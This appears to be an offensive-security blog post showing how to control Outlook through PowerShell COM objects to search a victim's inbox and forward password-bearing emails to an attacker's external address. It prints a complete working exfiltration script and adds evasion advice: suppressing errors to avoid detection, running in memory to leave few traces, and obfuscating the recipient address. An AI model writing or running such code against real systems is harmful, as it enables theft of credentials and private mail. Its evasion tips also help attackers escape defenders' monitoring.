Insanely simple. I wonder if this method is used in APT
groups ? 🤔
Typical corporate environments operate in Microsoft’s ecosystem, utilizing Outlook as their primary mail client. What you may have been unaware of , as I was, is that Outlook can be controlled via PowerShell
with the use of COM Objects
.
Let’s take advantage of this feature and “puppeteer” Outlook – searching messages for juicy content, and forwarding them to an attacker-controlled account.
I quickly created a free Outlook account, united.states.federal.gov@outlook.com
and sent a message containing a plain-text password simulating a typical development team.
Due to testing the payload in a legitimate Office 365
environment, the keyword passw0rd
was chosen. A simple e-mail was crafted and sent to my legitimate account.
Nice! It went straight to the Inbox 🤣. Let’s look at the potential magnitude and advantage of this attack:
- Can be run in memory, leaving minimal
IoCs
. - By utilizing a COM instance, we can operate Outlook in the background, performing actions as the user.
Using code which we’ll break down below, let’s see the payload
in action!
Pay attention to how quickly it searches the entire Inbox – forwarding messages which match our criteria to an attacker-controlled ProtonMail
account. ⚡
Ouch! We’ve now successfully exfiltrated
all messages in Outlook matching our criteria using Windows' built-in PowerShell
and COM objects.
Checking the Sent Mail
, it sure does appear it was forwarded by the user… 😈
try {
# Instance of Outlook
$outlook = new-object -comobject outlook.application
$namespace = $outlook.GetNameSpace("MAPI")
# Get Inbox
$folder = $namespace.GetDefaultFolder(6)
# Get Inbox items
$items = $folder.Items
# Sort by Received Time descending
$items.sort("ReceivedTime", $true)
# Loop through
foreach ($item in $items) {
# If we have a match, send a copy to our attacker-controlled address.
if ($item.subject.tolower() -match "password") {
$forward = $item.Forward()
$forward.Recipients.Add("jeffjbowie@protonmail.com")
$forward.Send()
}
}
}
catch { }
Always wrap your code in try {} catch {}
, to prevent error messages from being generated – risking detection.
You could take it a step further and Base64
encode the receiving address or even better use PowerShell’s ConvertTo-SecureString
function.